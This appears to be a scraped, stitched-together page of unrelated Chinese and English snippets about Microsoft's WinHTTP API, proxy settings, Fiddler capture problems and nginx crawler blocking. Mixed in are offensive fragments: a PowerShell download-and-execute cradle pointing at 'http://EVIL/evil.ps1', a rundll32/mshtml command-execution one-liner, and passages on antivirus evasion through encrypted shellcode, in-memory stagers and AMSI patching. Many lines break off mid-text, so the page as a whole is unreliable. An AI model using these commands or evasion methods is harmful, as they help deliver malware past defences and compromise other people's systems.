本篇内容讲述 C++ winHttp 实现下载器的简单 demo,使用了 WinHttpOpen、WinHttpConnect、WinHttpOpenRequest、WinHttpSendRequest、WinHttpReceiveResponse、WinHttpQueryDataAvailable、WinHttpReadData、WinHttpCloseHandle 等函数。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/157631.html原文链接:https://javaforall.cn
hOpen = WinHttpOpen(L”Aurora Console App”, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
The Microsoft Windows HTTP Services (WinHTTP) exposes a set of C/C++ functions that enable your application to access HTTP resources on the Web. This topic provides an overview of how these functions are used to interact with an HTTP server.
由于微端要和服务器交互,而服务器又只有http协议的处理,所以需要用C++来模拟get或post请求。 这是使用windows api来模拟get请求的,使用到的库有“winhttp”,头文件有“winhttp.h”,下面的代码来源于http://msdn.microsoft.com:
由于项目升级,在数据传输过程中需要经过oauth2.0认证,访问服务器需要https协议。
我实现了一个最新版本的接口,详见《实现HTTP协议Get、Post和文件上传功能——使用WinHttp接口实现》。还有基于libcurl实现的版本《实现HTTP协议Get、Post和文件上传功能——使用libcurl接口实现》。以下是原博文:
前一篇通过aes加密shellcode的免杀在主机上运行有bug,提示缺少xxx.dll文件,这是由于aes的实现依赖于第三方库openssl导致的:
普通下载 IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") PowerShell 3.0+ IEX (iwr
BOOL WINAPI WinHttpAddRequestHeaders( _In_ HINTERNET hRequest, _In_ LPCWSTR pwszHeaders, _In_ DWORD dwHeadersLength, _In_ DWORD dwModifiers ); 作用:加入�一个HTTP的请求头域。 參数说明: hRequest [in] 一个HINTERNET句柄通过调用WinHttpOpenRequest返回。
WinHTTP implements the WPAD protocol using the WinHttpGetProxyForUrl function along with two supporting utility functions,WinHttpDetectAutoProxyConfigUrl and WinHttpGetIEProxyConfigForCurrentUser.
不同的杀软对数字签名的敏感性不同,有些杀软可能只检查一下有没有数字签名就过了,有些杀软可能要去验证一下数字签名的正确性,有些可能管都不管数字签名。只能说添加数字签名能稍微提升一下exe的免杀几率。
最近有些忙,也没更新BLOG,这几天在捣鼓一个小玩意要用到WinHTTP API,发现资料很少,而且大都是些MFC封装的例子,看得我是一个头几个大。就把自己关于WinHTTP的学习总结了一下,仅供参考,各人理解可能有区别。另外非常感谢前人在网络上提供的相关参考。
反病毒解决方案用于检测恶意文件,并且通常使用静态分析技术来区分二进制文件的好坏。如果是恶意文件本身包含恶意内容(ShellCode),那么依靠静态分析技术会非常有效,但如果攻击者使用轻量级的stager来代替下载并将代码加载到内存中,会发生什么?事实证明这样做可以绕过大多数杀软的查杀。
通过WinHttp的WinHttpSetCredentials函数来访问加密网页。
在《使用WinHttp接口实现HTTP协议Get、Post和文件上传功能》一文中,我已经比较详细地讲解了如何使用WinHttp接口实现各种协议。在最近的代码梳理中,我觉得Post和文件上传模块可以得到简化,于是几乎重写了这两个功能的代码。因为Get、Post和文件上传功能的基础(父)类基本没有改动,函数调用的流程也基本没有变化,所以本文我将重点讲解修改点。(转载请指明出于breaksoftware的csdn博客)
WinHTTP Web Proxy Auto-Discovery Service 服务处于 正在运行 状态。
知道这个情况后,立即翻身起来,让朋友发给我必要的信息,把网站的日志下载到本地,因为网站本身的访问量不是很大,所以直接使用 notepad++ 来手动分析。
//Execute A Command rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc"); //Write To A File rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";fso=new%20ActiveXObject("Scripting.Fi
发现使用 Fiddler 进行抓包时有一部分请求总是没抓到,查看了一下源代码,发现使用 WinINET 这套 API 发送的请求都能正常抓到,而使用 WinHTTP 这套 API 发送的请求都没有抓到,遂搜索了一下,果然前人们早已给出答案,解决方案原文可以参看 Fiddler 作者 Eric Lawrence 大神的一篇博客 Using Fiddler with WinHTTP,博客里表示 Fiddler 对各种 HTTP(s) stacks 都是能支持的,只是默认启动时只是接管了 WinINET 代理设置。
大家好,又见面了,我是你们的朋友全栈君。使用WinHttpRequest伪造HTTP头信息,伪造Referer等信息
之前一直有听到WinHTTP和WinINet这两种网络服务,是Microsoft提供的两套API,但一直没有系统的用过,趁次机会一起来将这个整理一下。
WinHTTP的全称是Microsoft Windows HTTP Services, 它提供给开发者一个HTTP客户端应用程序接口(API), 通过这种API借助HTTP协议给其他的HTTP服务器发送请求.
go get -u -v 无反应方法 CMD要用管理员权限运行,否则设置无效 netsh winhttp set proxy proxy-server="https=127.0.0.1:1080" bypass-list="localhost" 查看当前CMD正在使用的代理 netsh winhttp show proxy 清空CMD使用的代理 netsh winhttp reset proxy 还有一种方式 set http_proxy=http://127.0.0.1:1080 set ht
Win32/.NET applications and browsers (but not CURL) suddenly unable to make HTTP requests on VM
安装了2003 SP1 更新时总是会有 8024402C错误 错误 网上daimoon兄的解决方式 他的机器在ISA SERVER后 而我的机器是ISA SERVER 2004
如果要把shellcode单独分离 我们可以通过其他当时获取到shellcode,而不是事先讲shellcode写死在程序中
自己还是想把一些shellcode免杀的技巧通过白话文、傻瓜式的文章把技巧讲清楚。希望更多和我一样web狗也能动手做到免杀的实现。
关于低版本系统tls1.2,这篇文档是我看到整理最好的文档:https://www.xftsoft.com/news/jiaocheng/Could-not-create-SSL-TLS-secure-channel.html
从msdn得知,WinHttp.WinHttpRequest.5.1 是 msxml 4.0 的底层对象,也就是说 XMLHTTP/ServerXMLHTTP 也是在它的基础上封装而来。用 WinHttpRequest 发的请求,连 Fiddler 也监测不到,看来确实是比较底层的东西。
需要启动该服务的起因是需要抓包,所以下载了charles,但无任何抓包信息,也没有错误提示,未查到原因。
互联网时代,单机客户端应用几乎不存在,许多服务存在云端,客户端通过HTTP(Restful API)访问云端服务,所以HTTP请求基础能力是客户端必备的。
前言 网络上存在各种各样的爬虫与蜘蛛,有的是对网站有帮助的,譬如说:百度(Baiduspider)、谷歌(Googlebot)、Bing(bingbot)等等,但是也有一些纯粹是垃圾爬虫,不但本身对网站毫无帮助,还大幅损耗服务器资源,如:BLEXBot、AhrefsBot、MJ12bot、hubspot、opensiteexplorer、leiki、webmeup 等,所以我们可以通过UserAgent信息来屏蔽垃圾爬虫 nginx配置 将指定的userAgent返回403 if($http_user_a
Failed to register Fiddler as the system proxy
反恶意软件扫描接口(AMSI)打补丁将有助于绕过执行PowerShell脚本(或其他支持AMSI的内容,如JScript)时触发的AV警告,这些脚本被标记为恶意。不要在隐蔽的操作中使用原样,因为它们会被标记出来。混淆,甚至更好的是,通过改变你的脚本来击败基于签名的检测,完全消除对AMSI绕过的需要。
CHM是英语“Compiled Help Manual”的简写,即“已编译的帮助文件”。CHM是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。
描述:netsh 命令在本地或者远程显示与修改当前正在运行的计算机的网络配置,为了存档、备份或者配置其他服务器, netsh也可以将配置脚本保存在文本文件中。 他们通过一个或者多个服务,实用程序或协议提供配置和监视支持来扩展Netsh的功能,并提供脚本功能,IP地址、网关、DNS、MAC地址,Context(上下文)是特定于网络组件一组命令。
我们都知道网络上的爬虫非常多,有对网站收录有益的,比如百度蜘蛛(Baiduspider),也有不但不遵守robots规则对服务器造成压力,还不能为网站带来流量的无用爬虫,比如宜搜蜘蛛(YisouSpider)(最新补充:宜搜蜘蛛已被UC神马搜索收购!所以本文已去掉宜搜蜘蛛的禁封!==>相关文章)。最近张戈发现nginx日志中出现了好多宜搜等垃圾的抓取记录,于是整理收集了网络上各种禁止垃圾蜘蛛爬站的方法,在给自己网做设置的同时,也给各位站长提供参考。
在宝塔里面设置Ngixn非常简单。这里给出一些网站的保护措施,仅供参考。 #禁止Scrapy等工具的抓取 if ($http_user_agent ~* (Scrapy|Curl|HttpClient)) { return 403; } #禁止指定UA及UA为空的访问 if ($http_user_agent ~ "WinHttp|WebZIP|FetchURL|node-superagent|java/|FeedDemon|Jullo|JikeSpider|Indy Library|Al
描述:netsh 在本地或者远程显示与修改当前正在运行的计算机的网络配置,为了存档、备份或者配置其他服务器, netsh也可以将配置脚本保存在文本文件中。 他们通过一个或者多个服务,实用程序或协议提供配置和监视支持来扩展Netsh的功能,并提供脚本功能,IP地址、网关、DNS、MAC地址,Context(上下文)是特定于网络组件一组命令。
最近按照BiliBil网站Visual C++网络项目实战视频教程,使用VS2013编写一个基于MFC的对话框程序HttpSourceViewer,采用了WinHttp库、Boost xpressive正则库等,学到第23课,使用正则表达式时,出现如下错误:
最近尝试写个http请求相关的程序,但刚开始就遇到了挫折。按照抓包的内容写好http请求代码后,总是运行出错:beginSendData ERROR CODE:183 当文件已存在时,无法创建该文件。
之前写过一遍《使用WinHttp接口实现HTTP协议Get、Post和文件上传功能》,其中谈到了如何使用WinHttp接口实现Http的Get、Post和文件上传功能。后来发现蛮多人关注该技术的实现,于是我决定重新设计框架结构,梳理这块的知识并提供可供测试的方案。同时,该系列也将作为《VC开发Windows客户端软件之旅》中"网络"模块的一部分。(转载请指明出于breaksoftware的csdn博客)
我们发现有越来越多的恶意软件开始使用各种加密、封装和加壳等保护技术来对恶意代码进行混淆处理,以防止系统或程序对其进行识别。除此之外,这些技术甚至还会让研究人员对其的静态分析变得更加困难。虽然越来越多的
对于 .NET 的每个新版本,我们都希望发布一篇博客文章,重点介绍网络的一些变化和改进。在这篇文章中,我很高兴谈论 .NET 6 中的变化。
Turla 也被称为 Snake、Venomous Bear、Uroburos 和 WhiteBear,是一个臭名昭著的 APT 组织。据信该组织来自俄罗斯,2004 年以来就一直活跃。
在渗透过程中,攻击者往往需要通过命令下载执行恶意代码,实现信息收集、持久化、权限提升、防御绕过、提取凭证、横向移动、数据渗出等操作。
领取专属 10元无门槛券
手把手带您无忧上云